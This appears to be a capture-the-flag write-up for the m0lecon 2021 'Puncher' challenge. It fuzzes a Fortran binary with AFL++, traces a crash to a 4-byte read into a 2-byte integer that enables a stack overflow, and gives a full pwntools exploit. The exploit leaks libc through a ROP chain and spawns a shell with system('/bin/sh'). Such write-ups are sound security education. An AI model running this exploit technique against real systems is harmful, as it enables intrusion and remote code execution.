Tags: afl fortran overflow 

Rating:

[Link to original writeup](https://wrecktheline.com/writeups/m0lecon-2021/#puncher)

# Puncher - (10 solves, 332 points)
by tcode2k16

```
We're back in the 60s!

nc challs.m0lecon.it 2637

Author: Alberto247
```

The challenge provides three files: a Fortran program `chall.f90`, the compiled binary `puncher`, and the Fortran runtime library `libgfortran.so.5`.

Since I'm not very familiar with Fortran the programming language, I decided to just throw the binary into [afl++](https://github.com/AFLplusplus/AFLplusplus) using [qemu mode](https://github.com/AFLplusplus/AFLplusplus/tree/stable/qemu_mode) and see if it can find any crashes:

```
# AFL_PRELOAD=./libgfortran.so.5 ./afl-fuzz -Q -i ./input/ -o ./output/ -- ./puncher

american fuzzy lop ++3.13a (default) [fast] {0}
┌─ process timing ────────────────────────────────────┬─ overall results ────┐
│ run time : 0 days, 0 hrs, 0 min, 57 sec │ cycles done : 0 │
│ last new path : 0 days, 0 hrs, 0 min, 8 sec │ total paths : 56 │
│ last uniq crash : 0 days, 0 hrs, 0 min, 2 sec │ uniq crashes : 1 │
│ last uniq hang : none seen yet │ uniq hangs : 0 │
├─ cycle progress ───────────────────┬─ map coverage ─┴──────────────────────┤
│ now processing : 0.0 (0.0%) │ map density : 0.23% / 0.33% │
│ paths timed out : 0 (0.00%) │ count coverage : 3.19 bits/tuple │
├─ stage progress ───────────────────┼─ findings in depth ───────────────────┤
│ now trying : havoc │ favored paths : 1 (1.79%) │
│ stage execs : 8226/32.8k (25.10%) │ new edges on : 31 (55.36%) │
│ total execs : 10.2k │ total crashes : 1 (1 unique) │
│ exec speed : 153.3/sec │ total tmouts : 2 (2 unique) │
├─ fuzzing strategy yields ──────────┴───────────────┬─ path geometry ───────┤
│ bit flips : disabled (default, enable with -D) │ levels : 2 │
│ byte flips : disabled (default, enable with -D) │ pending : 56 │
│ arithmetics : disabled (default, enable with -D) │ pend fav : 1 │
│ known ints : disabled (default, enable with -D) │ own finds : 55 │
│ dictionary : n/a │ imported : 0 │
│havoc/splice : 0/0, 0/0 │ stability : 100.00% │
│py/custom/rq : unused, unused, unused, unused ├───────────────────────┘
│ trim/eff : 0.00%/1, disabled │ [cpu000: 62%]
└────────────────────────────────────────────────────┘

```

The results are better than I expected and AFL found a crash in no time. I then used `afl-tmin` to get a minimized test case to look at:

```
# AFL_PRELOAD=./libgfortran.so.5 ./afl-tmin -Q -i ./output/default/crashes/id\:000000\,sig\:11\,sr\:000000\,time\:54754\,op\:havoc\,rep\:2 -o crash-min -- ./puncher
# cat crash-min
10100000
0
```

And sure enough, entering the same input leads to a crash:

```
──────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd258│+0x0000: 0x2020202020202020 ← $rsp
0x00007fffffffd260│+0x0008: 0x2020202020202020
0x00007fffffffd268│+0x0010: 0x2020202020202020
0x00007fffffffd270│+0x0018: 0x2020202020202020
0x00007fffffffd278│+0x0020: 0x2020202020202020
0x00007fffffffd280│+0x0028: 0x2020202020202020
0x00007fffffffd288│+0x0030: 0x00007fffffff2020 → 0x0000000000000000
0x00007fffffffd290│+0x0038: 0x00000001fffffffe
────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x401f89 <MAIN__+377> add rsp, 0x268
0x401f90 <MAIN__+384> pop rbx
0x401f91 <MAIN__+385> pop rbp
→ 0x401f92 <MAIN__+386> ret
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "puncher", stopped 0x401f92 in MAIN__ (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401f92 → MAIN__()
───────────────────────────────────────────────────────────────────────────────────────
gef➤
```

The gdb output suggests that the crash is caused by some sort of stack overflow which is perfect for us to exploit.

Now going back to the Fortran source code, we can quickly spot the issue:

```fortran
PROGRAM puncher
...
INTEGER(2) :: A,B, C
...
CALL readInt(B)
...
END PROGRAM

SUBROUTINE readInt(I)
read(*,*) I
END SUBROUTINE
```

```c
__int64 __fastcall readint_(__int64 a1)
{
int v2; // [rsp+10h] [rbp-210h]
int v3; // [rsp+14h] [rbp-20Ch]
const char *v4; // [rsp+18h] [rbp-208h]
int v5; // [rsp+20h] [rbp-200h]

v4 = "chall.f90";
v5 = 27;
v2 = 128;
v3 = 5;
_gfortran_st_read((__int64)&v2;;
_gfortran_transfer_integer(&v2, a1, 4LL);
return _gfortran_st_read_done(&v2;;
}
```

The `readint_` function is reading 4 bytes into the stack variable `B` which only has a size of 2 bytes. The 2 extra bytes overwrite variable `A` which is next to `B`.

```fortran
PROGRAM puncher
...
DO C=1,B
...
CALL readString(X, A)
...
END DO
END PROGRAM

SUBROUTINE readstring(S,L)
INTEGER(2) :: L
CHARACTER(len=L) :: S
read(*,"(A)") S
END SUBROUTINE
```

And since `A` is used to determine how many bytes to read into `X`, we can get a stack-based overflow from it.

```
gef➤ checksec
[+] checksec for '/home/alanc/CTF/2021/m0lecon/Puncher/puncher/puncher'
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
```

There's no PIE enabled on the binary so we are able to craft ROP chains to get code execution. My exploit includes two stages:

- stage one leaks the libc base address from the `__libc_start_main` entry in GOT by reusing the convenient `print_card_` method
- stage two call `system("/bin/sh")` to get shell

The full exploit code is as follows:

```python
from pwn import *
import sys
from hashlib import sha256

argv = sys.argv

DEBUG = True
BINARY = './puncher'

context.binary = BINARY
context.terminal = ['kitty', '@', 'new-window', 'bash', '-c']

def attach_gdb():
gdb.attach(sh)

if DEBUG:
context.log_level = 'debug'

if len(argv) < 2:
stdout = process.PTY
stdin = process.PTY

sh = process(BINARY, stdout=stdout, stdin=stdin)

if DEBUG:
attach_gdb()

REMOTE = False
else:
sh = remote('challs.m0lecon.it', 2637)
data = sh.recvuntil('.\n')
data = data.split(' ')
prefix = data[6]
goal = data[-1][:-2]
print prefix
print goal
i = 0
while True:
v = sha256((prefix+str(i))).hexdigest()
# print(v)
if v[-5:] == goal:
print(prefix+str(i))
sh.sendline(prefix+str(i))
break
i += 1
REMOTE = True

print_card_addr = 0x4016A2
main_addr = 0x401F93
libc_start_main_got = 0x0000000000404ff8

# 0x0000000000402033: pop rdi; ret;
pop_rdi = 0x0000000000402033
# 0x0000000000402031: pop rsi; pop r15; ret;
pop_rsi_r15 = 0x0000000000402031

# stage 1

payload = 'a'*64
payload += p16(1)*20
payload += flat(
pop_rdi, libc_start_main_got,
pop_rsi_r15, libc_start_main_got, libc_start_main_got,
print_card_addr,
main_addr
)

sh.sendlineafter('?\n', str(0xfa0001))
sh.sendlineafter('1\n', payload)

sh.recvuntil('___/\n') # ignore

data = sh.recvuntil('___/\n')
data = data.strip().split('\n')[2]

libc_base = u64(data[2:10])- 0x1fc0-0x25000
system_addr = libc_base + 0x55410
bin_sh_addr = libc_base + 0x1b75aa
print hex(libc_base)

# stage 2

payload = 'a'*64
payload += p16(1)*20
payload += flat(
pop_rdi, bin_sh_addr,
system_addr
)

sh.sendlineafter('?\n', str(0xfa0001))
sh.sendlineafter('1\n', payload)

sh.interactive()
```

flag: `ptm{R3t_t0_l1b_gf0rtr4n_1s_much_b3tter_th4n_ret_2_l1bc!}`

Original writeup (https://wrecktheline.com/writeups/m0lecon-2021/#puncher).